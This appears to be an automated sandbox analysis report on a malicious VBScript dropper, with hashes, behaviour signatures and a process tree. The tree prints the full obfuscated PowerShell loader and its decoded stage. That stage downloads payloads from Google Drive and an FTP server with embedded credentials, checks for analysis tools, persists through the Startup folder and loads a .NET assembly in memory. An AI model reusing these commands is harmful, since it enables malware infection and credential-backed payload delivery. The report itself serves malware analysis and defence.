Overview

overview

10

Static

static

1

Sign021000110.vbs

windows7-x64

10

Sign021000110.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    12-11-2024 10:31

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General

  • Target

    Sign021000110.vbs

  • Size

    166KB

  • MD5

    c9334c842ef061551279d98b8b48e1b2

  • SHA1

    a794c208ab09fe3d9631c377a7411dda9fcdc46c

  • SHA256

    505955df69d2bf11e756749c6ea8e8998a2fe26e1efa5542fbf6961233bdd317

  • SHA512

    c4e41b8117eb461e122497198daa231e722ef76805fc82cb6274edabf3a8f3f9e0395bfc6a80a3fb0ac9c671dfb9e6324f6953090f90d4e9ff4f2116980dbeb3

  • SSDEEP

    1536:5uAvuAvuAvuAvuAvuAvuAvuAvuAvuAKFZBfuAvuAvuAvuAvuAvuAvuAvuAvuAvuh:g555555555Y5555555555555555/

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sign021000110.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $cjckj = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAG0Acw' + [char]66 + '' + [char]66 + 'AGcAZQ' + [char]66 + 'SAEQARAAgAEQAJwAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnAGgAdA' + [char]66 + '0AHAAcwA6AC8ALw' + [char]66 + 'jAG8Abg' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAbg' + [char]66 + 'jAGEAbg' + [char]66 + 'jAHUAbgAuAGMAbw' + [char]66 + 'tAC8AYgAuAHQAeA' + [char]66 + '0ACcAIAAoACAAXQ' + [char]66 + 'dAFsAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8AWwAgACwAIA' + [char]66 + 'sAGwAdQ' + [char]66 + 'uACQAIAAoAGUAaw' + [char]66 + 'vAHYAbg' + [char]66 + 'JAC4AKQAgAG0ARw' + [char]66 + 'xAGkAbgAkACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAIA' + [char]66 + 'FAGYAWA' + [char]66 + 'zAGcAJAAgACsAIA' + [char]66 + 'HAGkAVA' + [char]66 + '6AEoAJAAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAuACkAIA' + [char]66 + '6AGQAZg' + [char]66 + '5AEYAJAAgACgAZA' + [char]66 + 'hAG8ATAAuAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHQAbg' + [char]66 + 'lAHIAcg' + [char]66 + '1AEMAOgA6AF0Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAcA' + [char]66 + 'wAEEALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bADsAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgAD0AIA' + [char]66 + 'tAEcAcQ' + [char]66 + 'pAG4AJAA7ACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAgAD0AIA' + [char]66 + 'FAGYAWA' + [char]66 + 'zAGcAJAA7ACcALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAIAA9ACAARw' + [char]66 + 'pAFQAeg' + [char]66 + 'KACQAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAA7ACkAIAApACcAQQAnACwAJwCTIToAkyEnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAG4AeQ' + [char]66 + 'yAGwAeQAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bADsAIAApADgARg' + [char]66 + 'UAFUAIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALQAgAFEARw' + [char]66 + 'wAGUASQAkACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAAbg' + [char]66 + '5AHIAbA' + [char]66 + '5ACQAOwAgACAAfQAgAGcAbg' + [char]66 + 'pAHMAcg' + [char]66 + 'hAFAAYw' + [char]66 + 'pAHMAYQ' + [char]66 + 'CAGUAcw' + [char]66 + 'VAC0AIA' + [char]66 + 'RAEcAcA' + [char]66 + 'lAEkAJAAgAGUAbA' + [char]66 + 'pAEYAdA' + [char]66 + '1AE8ALQAgAHgAag' + [char]66 + 'rAHgAZwAkACAASQ' + [char]66 + 'SAFUALQAgAHQAcw' + [char]66 + 'lAHUAcQ' + [char]66 + 'lAFIAYg' + [char]66 + 'lAFcALQ' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQA7ACAAKQAgAFEARw' + [char]66 + 'wAGUASQAkACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACAAKAAgAD0AIA' + [char]66 + '4AGoAaw' + [char]66 + '4AGcAJAA7ACAAKQAnAHQAeA' + [char]66 + '0AC4AMQAwAGwAbA' + [char]66 + 'kACcAIAArACAAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAoACAAPQAgAFEARw' + [char]66 + 'wAGUASQAkAHsAIA' + [char]66 + 'kAG4AYQ' + [char]66 + 'tAG0Abw' + [char]66 + 'jAC0AIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgADEALgAwAC4AMAAuADcAMgAxACAAZw' + [char]66 + 'uAGkAcAA7ACAAYwAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'kAG0AYwA7AGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAGMAJAAgAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALQAgAGcAbg' + [char]66 + 'pAHMAcg' + [char]66 + 'hAFAAYw' + [char]66 + 'pAHMAYQ' + [char]66 + 'CAGUAcw' + [char]66 + 'VAC0AIA' + [char]66 + 'RAEcAcA' + [char]66 + 'lAEkAJAAgAGUAbA' + [char]66 + 'pAEYAdA' + [char]66 + '1AE8ALQAgAHcAeg' + [char]66 + 'kAGoAeQAkACAASQ' + [char]66 + 'SAFUALQAgAHQAcw' + [char]66 + 'lAHUAcQ' + [char]66 + 'lAFIAYg' + [char]66 + 'lAFcALQ' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQA7ACkAKQApACkAKQAgADYANQAgACwANQA1ACAALAAzADUAIAAsADkANAAgACwANAA2ACAALAA0ADYAIAAsADkANgAgACwAMAAxADEAIAAsADYANwAgACwAOAA2ACAALAA3ADcAIAAsADAAMAAxACAALAA5ADYAIAAsADAAMQAxACAALAAyADAAMQAgACwAOQAwADEAKA' + [char]66 + 'dAF0AWw' + [char]66 + 'yAGEAaA' + [char]66 + 'jAFsAIA' + [char]66 + 'uAGkAbw' + [char]66 + 'qAC0AKAAgAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAC0AIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAEYALQAgAHQAeA' + [char]66 + 'lAFQAbg' + [char]66 + 'pAGEAbA' + [char]66 + 'QAHMAQQAtACAAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZQ' + [char]66 + 'yAHUAYw' + [char]66 + 'lAFMALQ' + [char]66 + 'vAFQAdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAoACAALAApACkAOQA0ACwANgAxADEALAA3ADkALAA0ADEAMQAsADgAOQAsADgAMQAxACwANwAwADEALAA5ADkALAA1ADEAMQAsADEAMAAxACwAMAAwADEAKA' + [char]66 + 'dAF0AWw' + [char]66 + 'yAGEAaA' + [char]66 + 'jAFsAIA' + [char]66 + 'uAGkAbw' + [char]66 + 'qAC0AKAAoAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMAUw' + [char]66 + 'QACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAGMAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFEARw' + [char]66 + 'wAGUASQAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALg' + [char]66 + 'wAHQAZg' + [char]66 + 'AADEAdA' + [char]66 + 'hAHIAYg' + [char]66 + '2AGsAYw' + [char]66 + 'zAGUAZAAvAC8AOg' + [char]66 + 'wAHQAZgAnACgAIAA9ACAAdw' + [char]66 + '6AGQAag' + [char]66 + '5ACQAOw' + [char]66 + '9ACAACgANADsAdA' + [char]66 + 'pAHgAZQAgACAAIAAgACAAIAAKAA0AOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAcg' + [char]66 + 'lAHQAdQ' + [char]66 + 'wAG0Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAUgAKAA0AIA' + [char]66 + '7AGUAcw' + [char]66 + 'sAGUACgANAAoADQ' + [char]66 + '9AAoADQAgACAAIAAgACAAIAAgAAoADQAgAHsAKQ' + [char]66 + 'sAGwAdQ' + [char]66 + 'OACQAIA' + [char]66 + 'xAGUALQAgACkAZQ' + [char]66 + '1AG4AaQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAHkAbA' + [char]66 + '0AG4AZQ' + [char]66 + 'sAGkAUwAgAGEAZQAtACAAJw' + [char]66 + 'lAHoAeQ' + [char]66 + 'sAGEAbg' + [char]66 + 'hACcALAAnAFMATg' + [char]66 + 'EAGUAdA' + [char]66 + 'hAHAAYQAnACwAJw' + [char]66 + 'rAHIAYQ' + [char]66 + 'oAHMAZQ' + [char]66 + 'yAGkAVwAnACAAcw' + [char]66 + 'zAGUAYw' + [char]66 + 'vAHIAcAAtAHQAZQ' + [char]66 + 'nACgAKA' + [char]66 + 'mAGkAOwAgADIAMQ' + [char]66 + 'zAGwAVAA6ADoAXQ' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAGwAbw' + [char]66 + 'jAG8AdA' + [char]66 + 'vAHIAUA' + [char]66 + '5AHQAaQ' + [char]66 + 'yAHUAYw' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bADsAIA' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'sAGcAeQ' + [char]66 + 'uAEoAJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAAQg' + [char]66 + 'sAHAAaw' + [char]66 + '0ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACgAIAA9ACAAQg' + [char]66 + 'sAHAAaw' + [char]66 + '0ADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'sAGcAeQ' + [char]66 + 'uAEoAJAA7ACkAIAApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACgAIAAsAGwAZg' + [char]66 + 'zAGMAegAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '2AHcAdg' + [char]66 + '6AGcAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4Adg' + [char]66 + '3AHYAeg' + [char]66 + 'nACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAdg' + [char]66 + '3AHYAeg' + [char]66 + 'nACQAOw' + [char]66 + '9ADsAIAApACcAdA' + [char]66 + 'PAEwAYw' + [char]66 + 'fAEsAYQAzAFoAZg' + [char]66 + 'vAFgAMg' + [char]66 + 'KAEoAcg' + [char]66 + 'WAGgAbQ' + [char]66 + 'WADkAYw' + [char]66 + 'tADkAWA' + [char]66 + 'zAHUAWA' + [char]66 + 'tAGoAMQ' + [char]66 + 'nADEAJwAgACsAIA' + [char]66 + 'sAGYAcw' + [char]66 + 'jAHoAJAAoACAAPQAgAGwAZg' + [char]66 + 'zAGMAegAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJwAyADQAdQ' + [char]66 + 'YAEoAVA' + [char]66 + 'xAGEAbQ' + [char]66 + 'nAHkATQ' + [char]66 + '0AEYAeg' + [char]66 + 'hAGsAUA' + [char]66 + 'SADEAcQ' + [char]66 + 'fAEkAdg' + [char]66 + 'HAGkAWA' + [char]66 + 'OAGQAcQ' + [char]66 + 'hAE4AMQAnACAAKwAgAGwAZg' + [char]66 + 'zAGMAegAkACgAIAA9ACAAbA' + [char]66 + 'mAHMAYw' + [char]66 + '6ACQAewAgACkAIA' + [char]66 + 'FAEEAaw' + [char]66 + 'sAGsAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAEUAQQ' + [char]66 + 'rAGwAawAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'sAGYAcw' + [char]66 + 'jAHoAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAewAgACkAIA' + [char]66 + 'oAGkAVA' + [char]66 + '' + [char]66 + 'AEsAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'oAGkAVA' + [char]66 + '' + [char]66 + 'AEsAJAAgADsA';$cjckj = $cjckj.replace('уЦϚ' , 'B') ;;$npmll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $cjckj ) ); $npmll = $npmll[-1..-$npmll.Length] -join '';$npmll = $npmll.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Sign021000110.vbs');powershell $npmll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $KATih = $host.Version.Major.Equals(2) ;if ( $KATih ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$zcsfl = 'https://drive.google.com/uc?export=download&id=';$klkAE = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $klkAE ) {$zcsfl = ($zcsfl + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$zcsfl = ($zcsfl + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$gzvwv = (New-Object Net.WebClient);$gzvwv.Encoding = [System.Text.Encoding]::UTF8;$gzvwv.DownloadFile($zcsfl, ($HzOMj + '\Upwin.msu') );$Jnygl = ('C:\Users\' + [Environment]::UserName );tkplB = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Sign021000110.vbs' -Destination ( $Jnygl + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$yjdzw = ('ftp://[email protected]/Upcrypter' + '/01/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$credential = (New-Object PSCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)), (ConvertTo-SecureString -AsPlainText -Force -String (-join [char[]](109, 102, 110, 69, 100, 77, 68, 76, 110, 69, 64, 64, 49, 53, 55, 56 )))));Invoke-WebRequest -URI $yjdzw -OutFile $IepGQ -UseBasicParsing -Credential $credential;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$IepGQ = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$gxkjx = ( Get-Content -Path $IepGQ ) ;Invoke-WebRequest -URI $gxkjx -OutFile $IepGQ -UseBasicParsing } ;$ylryn = (Get-Content -Path $IepGQ -Encoding UTF8) ;[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ylryn.replace('↓:↓','A') );$sNwoM = 'C:\Users\Admin\AppData\Local\Temp\Sign021000110.vbs';$JzTiG = 'ClassLibrary3.';$gsXfE = 'Class1';$niqGm = 'prFVI';[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).GetType( $JzTiG + $gsXfE ).GetMethod( $niqGm ).Invoke( $null , [object[]] ( 'txt.b/moc.nucnacnegaminoc//:sptth' , $sNwoM , 'D DDRegAsm' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe tkplB /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2656
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" tkplB /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2704

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    320618a352e776f447e3a2ed87873bed

    SHA1

    d4b92bb4e9e844ac208779f52d30f46920185cae

    SHA256

    facdab4ac7e47f7db0b76ca521276a117b0ca80071bb15d39ed23cec48a89023

    SHA512

    57b0eeea088fd261536123981f11389b64284a2e64e24f528d01ba790104332a1a40e25062f00d37238691bda4aba1a00ff55894f7b0041621c78883197b911a

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    7ef1b0a3ca30aa9a4eab1aa7eb67fdf6

    SHA1

    0ab060f8139640e71abc587d041d190497468f78

    SHA256

    c963a13a6fdc0b52615ed4f071bb75c6b9947c3f8fb088ad3a24a26ef21fc10b

    SHA512

    3f6606dc6ebc11011d83af155412a14ffd8ece9c3032e52ad64522a8977389452bda0acd7ab4ad33c619c9785b344678a0b0c569249d681573f0938a7712920c

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  • memory/2564-4-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

    Filesize

    4KB

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  • memory/2564-5-0x000000001B660000-0x000000001B942000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2564-6-0x00000000027F0000-0x00000000027F8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2564-12-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2564-13-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2564-14-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2564-15-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

    Filesize

    4KB

    Download